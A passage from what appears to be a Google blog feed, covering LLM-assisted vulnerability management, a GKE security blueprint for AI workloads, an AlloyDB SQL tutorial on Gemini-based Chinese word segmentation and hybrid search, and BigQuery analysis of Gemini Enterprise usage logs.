Mitigating model drift: Relying on managed AI services introduces the ongoing risk of model drift. To prevent silent weight updates from breaking test harnesses, organizations need to pin specific model API versions to frozen releases. When a pinned version reaches its end-of-life, organizations will face a forced migration. Mitigating this pipeline fragility requires combining model pinning with deterministic regression suites.
Compliance and auditability: If an AI agent automatically closes a security ticket or generates a patch in the CI/CD pipeline, organizations should maintain immutable audit logs to satisfy frameworks like SOC 2 ,PCI-DSS, FedRAMP, and CMMC. National security deployments must also account for data sovereignty requirements. This logging should record the specific model version that proposed the fix, the deterministic test results that validated it, and the human engineer who approved the merge. Furthermore, because emerging legislation like the EU AI Act emphasizes human oversight for high-risk applications, security teams should carefully evaluate how autonomous remediation workflows align with these evolving global regulatory standards.

Figure 7: Flowchart demonstrating the difference between local IDE AI remediation and centralized CI/CD pipeline remediation.

Conclusion

Leveraging LLMs in vulnerability management is a multi-layer solution: Integrating it requires separating workflows by layer. At the enterprise infrastructure level, Risk-Based Vulnerability Management (RBVM) and exposure management are necessary to process the volume of findings and configuration drift. At the product and code security level, LLM-enabled vulnerability assessment and remediation must operate alongside foundational deterministic controls, such as SAST and DAST, to audit custom, open-source, or third-party code.

Although LLMs can help manage technical debt and accelerate vulnerability discovery, they do not replace secure-by-design principles. The fact that LLM agents are proving exceptionally capable at identifying and exploiting localized memory corruption in memory-unsafe codebases, alongside other primary vectors, should serve as a wake-up call.

As a long-term strategy aligned with NSA guidance on Software Memory Safety, organizations need to phase memory-safe languages into new internal development. LLMs are beginning to expand what is possible here by reducing the manual labor required for code migration. Converting existing C or C++ codebases to Rust has historically been unrealistic due to the large volume of engineering hours needed. While fully automated translation is not a turn-key solution, using LLMs to assist engineers with the bulk of the conversion can make these long-term migrations operationally viable. Beyond internal efforts, organizations should use procurement requirements to incentivize vendors to reduce their reliance on memory-unsafe languages and establish secure configuration defaults over time. Bridging the gap between AI velocity and enterprise defense means building an automated pipeline to manage the current backlog, while architecting systems where entire classes of vulnerabilities and misconfigurations are eliminated by design.

Acknowledgements

This analysis would not have been possible without the assistance of Google Threat Intelligence Group (GTIG) and other broader Google teams.

The DMA should not undercut security & privacy for Europeans

2026-07-16T12:05:00+00:00

Today's decisions risk undermining vital privacy and security guardrails for millions of Europeans. We have repeatedly offered solutions to safeguard users while satisfy…

Securing AI at Enterprise Scale: The Google Kubernetes Engine Blueprint

2026-07-16T11:28:00+00:00

Artificial intelligence is moving from prototype to production faster than traditional security paradigms can adapt. For CISOs and platform engineering teams, the challenge is clear: you need to protect proprietary model weights, defend against novel application-layer threats like prompt injection, and enforce strict regulatory compliance—all without slowing down your AI developers.

To meet all of these security goals, you need more than just a place to run containers; you need a platform that compounds layers of security out-of-the-box.

Today, we're sharing our blueprint for Best practices for AI workload security on Google Kubernetes Engine (GKE). This blueprint consolidates controls across multiple Google Cloud services and GKE features to help you to build a secure-by-default GKE platform that handles the realities of AI at scale.

The AI workload security blueprint for GKE identifies three critical layers of the AI stack. Here's how Google Cloud and GKE approach security at each of these layers.

Infrastructure Layer: Hardware-Attested Execution

You can't have a secure AI workload on an insecure cluster. The infrastructure layer is where GKE provides a security baseline that most enterprises spend years building independently.

Confidential Accelerators: Heavy inference workloads handle your most sensitive data. Confidential GKE Nodes extend hardware-level memory encryption and attestation capabilities to high-performance accelerators, including Confidential GPUs (e.g., NVIDIA H100) and TPUs. This protects your intellectual property from hypervisor-level compromise and infrastructure operator scraping, providing hardware-attested confidentiality.
Zero-Trust Networking & Identity: GKE enforces least-privilege by default. Workload Identity Federation for GKE ensures inference pods can securely fetch model weights from Cloud Storage without long-lived keys, while VPC Service Controls create a strong perimeter around regulated workloads to prevent data exfiltration.

Model Security: Provenance and Behavioral Integrity

If you are deploying your own models—whether fine-tuned or open-source—you own the safety and integrity of the weights.

GKE integrates deeply with Google Cloud's supply chain tools to ensure what you train is exactly what you serve. Traditional SBOMs do not capture AI artifacts. GKE uses k8s-aibom (AI Bill of Materials for Kubernetes) to generate comprehensive inventories of your models, datasets, and frameworks and give you enhanced supply chain visibility.

Application Security: Defending the Inference Path

The application layer is where you have content access and where novel AI-specific threats (like prompt injection and data leakage) emerge. Google Cloud provides purpose-built services that sit directly in your GKE inference path.

Content-Layer Defense: Model Armor sits between your application and the inference endpoint. It inspects every prompt and response for prompt injection, sensitive data exposure (PII), and harmful content generation.
Session Management: The GKE Inference Gateway provides session-level observability and quota enforcement. It allows you to enforce per-user rate limits and detect abuse patterns, such as session manipulation or inference cost abuse.
Agentic Isolation: When your AI acts as an agent—executing generated code or interacting with unverified third-party tools—it must be contained. GKE Sandbox (gVisor) provides a secure isolation boundary that prevents container escapes and protects the underlying node from unpredictable agent behavior.

A Phased Approach to Security

Security on GKE compounds. We recommend a phased approach to securing your AI deployments:

Phase 1 — Deploy (Your Baseline): Implement the foundational configurations. Enable Workload Identity, deploy Model Armor in front of inference endpoints, and run sensitive workloads on Confidential GKE Nodes.
Phase 2 — Operate (Your Hardening): Turn your prototype into a production system. Enforce signed-image policies with Binary Authorization, tune Model Armor profiles, and aggregate audit logs for cross-layer SIEM correlation.
Phase 3 — Govern (Enterprise Scale): Automate compliance. Establish organization-level guardrails with Organization Policy Service, enforce admission-time policies via Kubernetes webhooks, and automate incident response for high-confidence detections.

Our AI workload security blueprint provides you with recommended controls and security measures for each of these phases. Additionally, the blueprint includes foundational guidance for observing your environment over time.

Next Steps

The race to deploy AI should not be a race to the bottom for security. By building on GKE and integrating with Google Cloud, platform teams inherit the infrastructure security baseline that Google has been refining for over a decade, paired with purpose-built AI defenses.

To dive deeper into the specific threat models, architectural patterns, and the complete maturity self-assessment, read the full Best practices for AI workload security on GKE.

Our approach to bioresilience

2026-07-16T09:30:42+00:00

Google DeepMind and Isomorphic Labs are sharing our joint approach to bioresilience and AI models.

Cloud Release Notes — July 16, 2026

2026-07-16T07:00:00+00:00

Oracle Database@Google Cloud

Feature

Oracle Database@Google Cloud supports cloning for Autonomous AI Databases. You can create full, metadata, and refreshable clones using Google Cloud CLI and API. For more information, see Clone an Autonomous AI Database.

This feature is Generally Available (GA).

We’re partnering with Screwfix to help the nation's tradespeople nail admin and grow their businesses using AI.

2026-07-16T07:00:00+00:00

Four men in workwear interact at a Google promotional booth outside a hardware store. The setup features a barista serving coffee, tall Gemini banners, and a digital screen showing the Gemini AI interface inside a partially constructed room.

Towards demystifying the creativity of diffusion models

2026-07-15T18:06:27+00:00

Algorithms & Theory

Now available: group conversations with external collaborators in Google Chat

2026-07-15T16:21:06+00:00

Previously, teams using Google Chat could only create 1:1 conversations with external users, or create a space in Chat with external access enabled.

With this update, it’s now possible to create group conversations with multiple external users, reducing friction and streamlining external collaboration. No additional configuration is required, and access for external users is enabled once they accept an invitation through an email notification. Group conversations with external members are labeled with a visible badge to help ensure that users are aware of the context for all conversations in Chat.

Getting started

Admins: External group DMs share the same admin controls as external spaces. Ensure that the External spaces & group direct messages admin setting is enabled for your organization to allow users to create or join external group DMs.
End users: If allowed by their admin, end users can add external users when they create a new group DM. External users can’t be added to existing group DMs that only have internal users. External users who are added to group DMs will receive an email invitation and must accept the invitation to participate in the group conversation.

Rollout pace

Rapid Release domains: Rolling out now, with expected completion by July 17, 2026
Scheduled Release domains: Gradual rollout (up to 15 days for feature visibility) starting on July 24, 2026

Availability

Available to all Google Workspace customers and Workspace Individual subscribers

Resources

Google Chat Help: External group DMs in Google Chat
Google Workspace Admin Help: Control external Chat & spaces chat options

How to solve PostgreSQL multilingual full-text search limitations with AlloyDB AI

2026-07-15T16:00:00+00:00

AlloyDB powers enterprise-grade search for some of the largest organizations, providing robust hybrid search capabilities that combine text, vector, and keyword searches into a simple ranked SQL query. And with our recent launch of RUM index support, AlloyDB customers now have even more powerful full-text search capabilities at their fingertips.

However, database developers often face limitations when indexing continuous text in logographical languages like Chinese, Japanese, and Korean, where traditional whitespace-based tokenization fails. Gemini’s multilingual capabilities enable you to intelligently parse text in these languages to implement intelligent word segmentation and stop-word removal, but orchestrating row-wise API calls on massive datasets is slow and fragile. Now you can integrate the world knowledge of Gemini models natively into your database using AlloyDB AI Functions, enabling highly accurate full-text search for logographical languages without the administrative overhead of complex ETL pipelines.

Continuous text and logographical languages

To understand why this native integration is such a significant advancement, we must first examine the underlying mechanics of text search and why traditional indexing methods fail when processing continuous text.

To build an effective full-text search index in PostgreSQL, the engine must parse text into search tokens (lexemes) using the to_tsvector function. By default, standard text search configurations like simple or english assume that words are separated by whitespace. The database engine extracts search terms by splitting the input string at these spaces.

However, Chinese and other logographical languages do not use spaces between words. Words are written continuously, with punctuation serving as the only boundaries. Because of this, standard PostgreSQL parsers fail to extract individual keywords. Instead, they treat entire sentences or long clauses as a single, continuous lexeme.

For example, consider this input string: "你们研究所有十个图书馆" (Your research institute has ten libraries)

Without spaces, passing this to to_tsvector('simple', ...) produces a single, massive lexeme: '你们研究所有十个图书馆'

If you search for "研究所" (research institute) or "图书馆" (library), the query fails to return a match. The keywords are trapped inside the larger string, forcing you to search for the exact, long-form sentence to get a result.

Traditional workarounds and their limits

You might try to resolve this using traditional tools and pipelines, each of which introduces significant operational friction or accuracy limits:

Third-party database extensions: Extensions like zhparser or pg_jieba add Chinese tokenization to PostgreSQL. However, these are often not supported in fully-managed database environments. They also rely on static dictionaries, which frequently fail to parse modern jargon, brand names, or context-dependent terms correctly.
External preprocessing pipelines: Exporting text to an external application (such as a Python microservice running jieba or spaCy) to insert spaces before saving it to the database. This pattern introduces substantial ETL complexity, network latency, and data exposure risks by moving your data out of the database tier.
Inadequacy of rule-based and dictionary-driven segmentation: Traditional tokenizers rely on static dictionaries and hand-coded syntactic rules to split text. They often struggle to resolve semantic ambiguity, where the exact same sequence of characters must be segmented differently depending on the context. To perform accurate segmentation, you need the world knowledge and contextual intelligence of a large language model like Gemini.

In-database pre-processing with Gemini

AlloyDB AI bypasses these workarounds — and their limits — by introducing native, in-database AI Functions like ai.generate(). This allows you to call Gemini directly from SQL, keeping your data and intelligence in one place.

This approach provides three core advantages:

No data movement: All text preprocessing and segmentation happen directly within the database engine. This minimizes network latency and keeps your data protected within your database boundaries.
In-database intelligence: You do not need to build, deploy, or maintain external microservices or orchestration frameworks. The database engine coordinates the model calls natively.
Stored procedure-based batching: By using a PL/pgSQL stored procedure with array aggregation, you can process rows in parallel batches, unpack the results safely using GENERATE_SERIES, and commit each batch immediately. This prevents database memory exhaustion, bypasses row lock contention, and supports stable, performant execution even when handling massive tables.

Implementing semantic word segmentation

To implement this solution, we will create a database table where the raw content, the segmented text, the search vector, and the vector embeddings are stored together.

code_block: <ListValue: [StructValue([('code', "CREATE TABLE documents (\r\n id SERIAL PRIMARY KEY,\r\n title TEXT NOT NULL,\r\n original_content TEXT NOT NULL,\r\n content_segmented TEXT,\r\n search_vector tsvector GENERATED ALWAYS AS (to_tsvector('english', content_segmented)) STORED,\r\n embedding vector(3072) GENERATED ALWAYS AS (embedding('gemini-embedding-001', content_segmented)) STORED\r\n);"), ('language', ''), ('caption', <wagtail.rich_text.RichText object at 0x7f1e0e8f0ac0>)])]>

By defining search_vector and embedding as generated columns, AlloyDB automatically updates both the full-text search index and the vector embeddings whenever the content_segmented column is updated. This reduces your application-side logic to a single update statement.

Step 1: Document batch segmentation

If you consult the AlloyDB AI documentation, it recommends using cursor-based processing when dealing with large datasets (10,000 to millions of rows) to avoid memory bottlenecks.

However, the documentation’s cursor examples focus on append-only operations — streaming text into a new, empty table using INSERT. Our use case requires an in-place UPDATE on our live documents table. Implementing this with a raw cursor loop in a standard anonymous block (DO $$) introduces three important production hazards: excessive row locking that freezes live applications, a rollback risk if a network blip occurs, and alignment risks where parallel cursors fall out of step.

To mitigate these challenges and accelerate performance, we use a stored procedure configured with high-throughput array-based batching:

code_block: <ListValue: [StructValue([('code', "CREATE OR REPLACE PROCEDURE segment_all_documents(p_batch_size INT DEFAULT 100)\r\nLANGUAGE plpgsql AS $$\r\nDECLARE\r\n v_processed_count INT;\r\nBEGIN\r\n LOOP\r\n -- 1. Grab a single isolated batch, aggregate into arrays, and call Gemini.\r\n -- We explicitly ORDER BY id during aggregation to guarantee the arrays match perfectly.\r\n WITH batch_raw AS (\r\n SELECT id, original_content\r\n FROM documents\r\n WHERE content_segmented IS NULL OR content_segmented = ''\r\n ORDER BY id\r\n LIMIT p_batch_size\r\n ),\r\n batch_processed AS (\r\n SELECT \r\n ARRAY_AGG(id ORDER BY id) AS target_ids,\r\n ai.generate(\r\n prompts => ARRAY_AGG('Perform Chinese word segmentation (分词) on the provided text to prepare it for full-text search indexing.\r\nRules:\r\n- Insert a single space between every atomic, meaningful word.\r\n- Separate all punctuation marks (both full-width and half-width) with spaces.\r\n- Preserve the original structure, line breaks, and non-Chinese characters (e.g., English words, numbers).\r\n- Output ONLY the processed text. Do not include any greetings, explanations, or formatting wrappers like markdown code blocks unless they exist in the original text.\r\nText to process: ' || original_content ORDER BY id),\r\n model_id => 'gemini-2.5-flash-lite'\r\n ) AS ai_outputs\r\n FROM batch_raw\r\n ),\r\n -- 2. Use GENERATE_SERIES to unpack the paired array indexes safely\r\n unpivoted_results AS (\r\n SELECT \r\n b.target_ids[i] AS doc_id,\r\n b.ai_outputs[i] AS segmented_text\r\n FROM batch_processed b,\r\n GENERATE_SERIES(1, COALESCE(ARRAY_LENGTH(b.target_ids, 1), 0)) i\r\n )\r\n -- 3. Execute the batch update for this chunk\r\n UPDATE documents d\r\n SET content_segmented = r.segmented_text\r\n FROM unpivoted_results r\r\n WHERE d.id = r.doc_id;\r\n\r\n -- Check how many rows were updated in this pass\r\n GET DIAGNOSTICS v_processed_count = ROW_COUNT;\r\n\r\n -- If the update affected 0 rows, it means the whole table is finished\r\n EXIT WHEN v_processed_count = 0;\r\n\r\n -- 4. Commit immediately to save progress and release row locks!\r\n COMMIT;\r\n \r\n RAISE NOTICE 'Successfully processed and committed a batch of % rows.', v_processed_count;\r\n END LOOP;\r\nEND $$;"), ('language', ''), ('caption', <wagtail.rich_text.RichText object at 0x7f1e0e8f0760>)])]>

To run this preprocessing pipeline across your entire table, simply call the stored procedure:

code_block: <ListValue: [StructValue([('code', 'CALL segment_all_documents(100);'), ('language', ''), ('caption', <wagtail.rich_text.RichText object at 0x7f1e0e8f0b80>)])]>

This stored procedure approach provides three benefits that directly solve your production challenges:

Parallelized array aggregation (solving the sequential bottleneck): By aggregating the batch into arrays and calling ai.generate(prompts => ...) with the array, AlloyDB batches the model requests and executes them in parallel. This is faster than processing rows one-by-one sequentially.
Safe index-based unpacking (solving cursor desync): Using GENERATE_SERIES to unpack the array indexes maps the model output back to the correct document ID, reducing the risk of parallel streams falling out of step.
Immediate commits and lock release (solving blocking and rollback risks): Committing the transaction at the end of each loop iteration (COMMIT;) is an essential optimization. It immediately saves progress to disk and releases row locks, preventing long-running transactions from freezing your live application and ensuring a network blip won't roll back hours of work.

Once this pipeline runs, our example sentence is stored in content_segmented as: "你们研究所有十个图书馆"

Step 2: Choosing simple vs. english

When defining your tsvector generated column, you must choose the appropriate PostgreSQL text search configuration. This choice depends on your dataset:

When to use simple: If your database contains only Chinese text, the simple configuration is ideal. It converts text to lowercase but does not perform stemming or default stop-word removal. Since the model prompt already handles semantic segmentation and custom stop-word filtering, the simple configuration maps directly to the model's optimized output without further modification.
When to use english: In modern enterprise applications, Chinese documentation and user queries frequently contain embedded English terms (e.g., product codes, brand names, or technical terms). In these bilingual scenarios, the english configuration is superior. The English Porter stemmer leaves non-ASCII Chinese characters completely intact as exact lexemes, while automatically normalizing the English terms (e.g., stemming "running" to "run") and filtering out generic English stop words ("the", "and"). This achieves unified bilingual search capabilities without requiring separate columns or complex routing logic.

Step 3: Query-time preprocessing

Segmenting the document content is only half the battle. To match the indexed data, the incoming search queries must be pre-processed using the same Gemini-based segmentation logic.

We can take this a step further to improve search precision. We can instruct the model to act as an intelligent stop-word filter, stripping away low-value grammatical noise that would otherwise clutter your search results:

Grammatical particles (e.g., 的, 了)
Pronouns (e.g., 你, 我们)
Comparison words (e.g., 比, 最)
Question words (e.g., 怎么, 为什么)

For example, we can process a user query on the fly using a SQL query:

code_block: <ListValue: [StructValue([('code', "SELECT ai.generate(\r\n 'Perform Chinese word segmentation (分词) on the provided search query.\r\n Additionally, remove low-value grammatical noise such as particles (e.g., 的, 了), pronouns (e.g., 你, 我们), comparison words (e.g., 比, 最), and question words (e.g., 怎么, 为什么).\r\n Rules:\r\n - Insert a single space between every remaining meaningful word.\r\n - Output ONLY the processed keywords. Do not include greetings or explanations.\r\n Query to process: 你们研究所的图书馆在哪里？'\r\n);"), ('language', ''), ('caption', <wagtail.rich_text.RichText object at 0x7f1e0e8f0790>)])]>

The model processes this query and returns the keyword string: "研究所图书馆"

Step 4: executing the search with RUM

With your documents segmented and indexed, you can create a RUM index on your generated search_vector column. A RUM index is an index type that stores lexeme positions directly. This helps AlloyDB calculate search relevance and word distance directly within the index, avoiding the slow re-scan operations required by traditional GIN indexes.

code_block: <ListValue: [StructValue([('code', 'CREATE INDEX idx_docs_rum\r\nON documents\r\nUSING rum (search_vector rum_tsvector_ops);'), ('language', ''), ('caption', <wagtail.rich_text.RichText object at 0x7f1e0e8f0c40>)])]>

To run a search, you convert your preprocessed query string ("研究所图书馆") into a search query using plainto_tsquery and execute it against the RUM index. You can use the RUM distance operator (<=>) to sort the results by relevance:

code_block: <ListValue: [StructValue([('code', "SELECT id, title, original_content,\r\n search_vector <=> plainto_tsquery('english', '研究所 & 图书馆') AS distance\r\nFROM documents\r\nWHERE search_vector @@ plainto_tsquery('english', '研究所 & 图书馆')\r\nORDER BY distance ASC;"), ('language', ''), ('caption', <wagtail.rich_text.RichText object at 0x7f1e0e8f0670>)])]>

Because the RUM index calculates the distance score directly, this query executes with high efficiency, returning relevant matches in milliseconds.

Extending to hybrid search

While keyword-based text search is excellent for finding exact matches, it can miss relevant documents that use different terminology. To solve this, you can combine your segmented full-text search with semantic vector search using the multilingual gemini-embedding-001 model. This pattern, known as hybrid search, retrieves results that are both lexically and semantically relevant.

AlloyDB makes it easy to run hybrid search. You can create a ScaNN index (Google's vector index technology) on your embedding column and combine it with your RUM index.

Creating the ScaNN index

To accelerate your vector search, you create a ScaNN index on the embedding column:

code_block: <ListValue: [StructValue([('code', 'CREATE EXTENSION IF NOT EXISTS alloydb_scann;\r\n\r\nCREATE INDEX idx_docs_scann\r\nON documents\r\nUSING scann (embedding cosine);'), ('language', ''), ('caption', <wagtail.rich_text.RichText object at 0x7f1e0e8f0f40>)])]>

Running the hybrid search query

To combine the results of your vector and text searches, you can use a SQL query that implements Reciprocal Rank Fusion (RRF). RRF is a rank-based algorithm that merges multiple search result lists into a single, unified list by assigning a score to each document based on its rank in the individual lists.

The following query performs both searches in parallel using Common Table Expressions (CTEs), joins the results using a FULL OUTER JOIN, and calculates the final RRF score:

code_block: <ListValue: [StructValue([('code', "WITH vector_search AS (\r\n SELECT id,\r\n RANK() OVER (ORDER BY embedding <=> ai.embedding('gemini-embedding-001', '研究所图书馆')::vector) AS rank\r\n FROM documents\r\n ORDER BY embedding <=> ai.embedding('gemini-embedding-001', '研究所图书馆')::vector\r\n LIMIT 10\r\n),\r\ntext_search AS (\r\n SELECT id,\r\n RANK() OVER (ORDER BY search_vector <=> plainto_tsquery('english', '研究所 & 图书馆')) AS rank\r\n FROM documents\r\n WHERE search_vector @@ plainto_tsquery('english', '研究所 & 图书馆')\r\n ORDER BY search_vector <=> plainto_tsquery('english', '研究所 & 图书馆')\r\n LIMIT 10\r\n)\r\nSELECT\r\n COALESCE(vector_search.id, text_search.id) AS id,\r\n COALESCE(1.0 / (60 + vector_search.rank), 0.0) + COALESCE(1.0 / (60 + text_search.rank), 0.0) AS rrf_score\r\nFROM vector_search\r\nFULL OUTER JOIN text_search ON vector_search.id = text_search.id\r\nORDER BY rrf_score DESC\r\nLIMIT 5;"), ('language', ''), ('caption', <wagtail.rich_text.RichText object at 0x7f1e0e8f0190>)])]>

In this query:

The vector_search CTE uses the ScaNN index to find the top 10 documents that are semantically closest to your query, using the gemini-embedding-001 model.
The text_search CTE uses the RUM index to find the top 10 documents that match your segmented keywords, using the RUM distance operator for ranking.
The final select statement joins these lists and calculates the RRF score using the standard constant of 60. The top 5 results are returned, providing a precise blend of exact keyword matches and semantic matches.

Why AlloyDB AI is ideal for search

By using AlloyDB AI to solve the challenges of multilingual and hybrid search, you build a robust, scalable, and cost-effective foundation for your enterprise AI applications.

Native, in-database intelligence: By running model processing directly within AlloyDB AI, you avoid the cost, latency, and data exposure risks of moving transactional data to external AI services.
Enterprise-grade search performance: Combining ScaNN vector search (built on Google's search technology) and RUM full-text search in a single relational database delivers fast, accurate search outcomes without needing to maintain separate, complex search engines.
High context-aware accuracy: Unlike static, rule-based dictionaries that struggle with modern terminology, Gemini's world knowledge brings deep semantic understanding to word segmentation, providing high search precision.
Operational simplicity: You get robust bilingual and hybrid search capabilities using standard SQL. This means you can build and scale AI applications using the database skills you already have, without learning new APIs or managing complex external pipelines.

What's next

Giving your applications the ability to safely and efficiently interact with transactional data moves us away from fragmented data silos and toward an architecture where AI can reliably access enterprise truth.

Ready to build? Discover AlloyDB with a 30-day free trial, and dive into the Getting started with hybrid search in AlloyDB Codelab to start creating intelligent search experiences in your applications today.

How to Analyze and Govern Gemini Enterprise App Usage at Scale with BigQuery

2026-07-15T16:00:00+00:00

Deploying the Gemini Enterprise app across an organization marks a transformative leap forward in workforce productivity, providing employees with an amazing, high-performance suite of agentic AI tools, search-grounded assistants, and specialized solutions like NotebookLM. As adoption grows to a large scale, it can introduce a critical administrative scale challenge: how to audit, govern, and extract insights from a massive volume of telemetry without getting bogged down in manual overhead. To help administrators succeed, Google Cloud provides comprehensive, out-of-the-box analytics via pre-computed dashboards to track day-to-day adoption, user engagement, and active user metrics. While this provides a product-centric lens to look at Gemini Enterprise app's usage, to understand the impact of agentic AI, administrators might need a more nuanced, organization-centric perspective tailored to their own internal context. This is where using Google BigQuery becomes a crucial tool in the administrator's arsenal to run deep-dive forensics across their organization to analyze and govern the adoption of agentic AI.

Why Gemini Enterprise app + BigQuery is a game-changer

Augmenting the Gemini Enterprise app with BigQuery through log sinks allows a lean administrative team to analyze and govern a large-scale deployment. Specifically, it empowers IT, Data, and Security teams to:

Profile nuanced adoption and behaviors: Segment usage patterns by department to see which teams are building custom agents, track NotebookLM utilization, and calculate agent-to-employee ratios.
Quantify organizational value: Combine conversational logs with HR or line-of-business datasets to calculate actual employee hours saved, trace value creation, and build executive Looker dashboards.
Execute precision compliance audits: Audit grounding queries across Google Drive folders and enterprise directories to prevent data leaks and protect corporate IP.
Investigate safety alerts instantly: Query historical logs when security filters flag a prompt, identifying the exact text that triggered a Model Armor block to resolve compliance alerts.

To support these use cases, the telemetry is partitioned into five distinct log tables in BigQuery, capturing unique data fields:

BigQuery Destination Table	Telemetry Captured
Gen AI User Messages `discoveryengine_googleapis_com_g en_ai_user_message`	Verbatim prompt inputs typed by users
Gen AI Choices `discoveryengine_googleapis_com_g en_ai_choice`	Verbatim model responses, finish reasons, and LLM reasoning steps
User Activity Telemetry `discoveryengine_googleapis_com_g emini_enterprise_user_activity`	Corporate identity (IAM emails) and grounding file access paths
Cloud Audit Activity `cloudaudit_googleapis_com_activity`	Control plane configuration changes and administrative user logs
Cloud Audit Data Access `cloudaudit_googleapis_com_data_ac cess`	High-volume data plane interactions and search queries
Aggregate OOB Metrics (Batch Export Table)	Pre-aggregated seats claimed, seat purchases, and engagement metrics from the past 30 days. To be pulled asynchronously via custom daily batch runs of the `analytics:exportMetrics` API to build high-level adoption and cost dashboards.

Ingestion pipeline and architecture

To implement scale-ready observability, administrators establish an automated telemetry pipeline. Moving your Gemini Enterprise data to BigQuery does not require complex custom software development; instead, it leverages a continuous Cloud Logging Log Router Sink for conversational logs and an asynchronous batch export API for high-level aggregate seat metrics.

The diagram below illustrates the ingestion pipeline and how telemetry is mapped to BigQuery:

Here is your blueprint for connecting Gemini Enterprise to BigQuery to build the ultimate analytics and governance foundation for your organization.

Routing pipelines: Continuous logging and audit sinks

To capture your telemetry, establish log sinks within Cloud Logging to intercept and route runtime events to BigQuery:

The streaming pipeline (detailed logs): Streams row-by-row conversational data (user prompts, model choices, and grounding events). Ensure prompt and response logging is enabled in your Gemini Enterprise Admin Console (see Set Up Usage & Audit Logs).

- Inclusion Filter (replace [PROJECT_ID] with your Google Cloud Project ID):

code_block: <ListValue: [StructValue([('code', 'logName="projects/[PROJECT_ID]/logs/discoveryengine.googleapis.com%2Fgemini_enterprise_user_activity" OR\r\nlogName="projects/[PROJECT_ID]/logs/discoveryengine.googleapis.com%2Fgen_ai.user.message" OR\r\nlogName="projects/[PROJECT_ID]/logs/discoveryengine.googleapis.com%2Fgen_ai.choice"'), ('language', ''), ('caption', <wagtail.rich_text.RichText object at 0x7f1e0ec80190>)])]>

The governance pipeline (audit logs): Captures administrative actions (Admin Activity) and data plane operations (Data Access, such as grounding data connector lookups).

- Inclusion Filter (replace [PROJECT_ID] with your Google Cloud Project ID):

code_block: <ListValue: [StructValue([('code', 'logName:"projects/[PROJECT_ID]/logs/cloudaudit.googleapis.com" AND \r\nprotoPayload.serviceName="discoveryengine.googleapis.com"'), ('language', ''), ('caption', <wagtail.rich_text.RichText object at 0x7f1e0ec802e0>)])]>

- Admin Activity Logs: Always enabled by default; tracks resource changes (e.g., custom agent creation, updates, deletions).
- Data Access Logs: Off by default; must be enabled in GCP IAM settings for the Discovery Engine API to log user-level data read/write interactions during chats.

Unlock advanced intelligence in BigQuery

Transform raw telemetry into insights

BigQuery provides AI-powered analysis tools that make understanding and navigating telemetry effortless. By leveraging Gemini in BigQuery, administrators can translate raw log streams into visual insights and clear documentation without manual guesswork.

No-Code Conversational Analytics (BigQuery CA)
Querying nested JSON schemas is made simple with Conversational Analytics in BigQuery (BQ CA). BQ CA acts as an intelligent agent within BigQuery Studio, automatically generating and executing SQL grounded in your schema, business metadata, and verified queries/UDFs to ensure metrics consistency. It also surfaces its "thinking process" alongside the generated code to build administrative trust.

For example, as shown in the screenshot below, asking "Compare the usage of notebooklm, deep research and custom agents using oob_metrics?" generates the correct SQL, runs the query and outputs the result in seconds:

As shown in the screenshot below, BQ CA goes beyond traditional querying and standard SQL generation by allowing users to execute sophisticated AI and machine learning tasks directly within the console. Administrators can leverage these native capabilities to run advanced analysis, such as classification of user prompt sentiment or forecasting future adoption trends, streamlining the governance process.

Auto-generated schema documentation and insights

Understanding telemetry fields like useriamprincipal, finish_reason, or groundedContent is crucial for extracting the right insights. BigQuery simplifies this through automated schema documentation and AI-powered context:

Automated profiling and metadata: By pairing Knowledge Catalog Data Profiling with Gemini, you can evaluate unique value counts, null rates, and data distributions in raw tables. With a single click, Data Insights generates descriptive metadata for both tables and individual nested columns.
Unified data insights: Gemini leverages this rich context to surface insights across your entire data estate. It automatically recommends queries to find anomalies or safety failures within a single table (like gen_ai_user_message). At the dataset level (Preview), it generates an interactive relationship graph to map cross-table join paths and suggests queries that combine data—like user activity and model outputs—to calculate task complexity.
Seamless agent integration and glossaries: Table and data insights integrate directly into the BigQuery Conversational Analytics (BQ CA) agent UI, giving agents immediate access to enriched metadata and few-shot examples. To ensure agents accurately interpret domain-specific prompts, BQ CA also supports business glossaries. You can define custom terms directly for your agents or import existing glossaries from Knowledge Catalog to establish a standardized vocabulary.

Administrators can then leverage the profiling, enriched metadata and insights to navigate logged fields, understand the telemetry structure, and catalog data for compliance audits. As shown in the screenshots below, the output of Gemini-powered auto generation of schemas, descriptions and linkages makes it easy to make sense of the complex relationships and telemetry data output by agentic interactions on the Gemini Enterprise app.

Visualizing with Data Studio dashboards

For executive stakeholders, raw log tables can be transformed into interactive, high-impact business intelligence dashboards. By connecting Data Studio directly to BigQuery, you can build dashboards that monitor:

User adoption and seat ROI: Segment usage trends by department, highlighting the ratio of custom agents built relative to employee headcount.
Data grounding traffic: Map which enterprise connectors—such as SharePoint, Google Drive, or Gmail—experience the highest utilization.
Content safety and violations: Track Model Armor sanitization blocks and sentiment feedback loops over time to maintain safety standards.
Share BQ Conversational Analytics agent: Share the BQ CA agents you built via Data Studio to give business users the ability to ask more questions of the data.

Empower your organization with the Gemini Enterprise app and your administrators with BigQuery

Deploy the Gemini Enterprise App: Bring the best of Google AI to every employee.
Enable Prompt & Response Logging: Turn on prompt and response logging in the Admin Console to begin recording user activity telemetry.
Configure Log Router Sinks: Establish sinks to stream telemetry into BigQuery.
Track Metrics & Export Analytics: Access pre-computed, out-of-the-box dashboards on the console and export historical aggregate statistics.
Extract Table-Level & Dataset-Level Insights: Explore unfamiliar log tables and discover relationship join paths automatically.
Query with Conversational Analytics: Build data reasoning agents and leverage natural language querying inside BigQuery Studio.
Visualize with Data Studio: Connect Data Studio to BigQuery to build executive-level dashboards & give access to BQCA agents to business users.
Consult a Google Cloud Customer Engineer for the most cost-effective and secure configuration for the analytics setup described above.

The authors would like to acknowledge and thank the Google Forge team, especially Vicky Falconer, Dharini Chandrashekhar and Adhaar Gupta, for contributing to the core work that led to this article.

Why AI apps fail in production (And how Google solved it)

2026-07-15T16:00:00+00:00

We are living in the golden age of the weekend AI side project. Thanks to agentic engineering and LLMs, the time to go from a blank IDE to a functional local application has dropped from quarters to hours. You can build your wildest ideas over a cup of coffee.

But inside an enterprise ecosystem with rigid infrastructure and millions of users, vibe coding hits an invisible wall. Your local prototype falls apart against corporate networks, cascading errors, or getting blocked by leadership terrified of operational volatility.

The data is sobering: only 5% of AI prototypes make it to production; the other 95% fall into the validation abyss.

For developers, watching people on social media ship lightning-fast AI deployments while you’re stuck in endless validation loops is maddening. To figure out how to bridge this chasm, I went into the engineering trenches at YouTube to see how they manage this exact speed-versus-risk paradox. What I discovered completely rewrites the playbook on AI software development lifecycle (SDLC) design.

The risk-vs-speed paradox

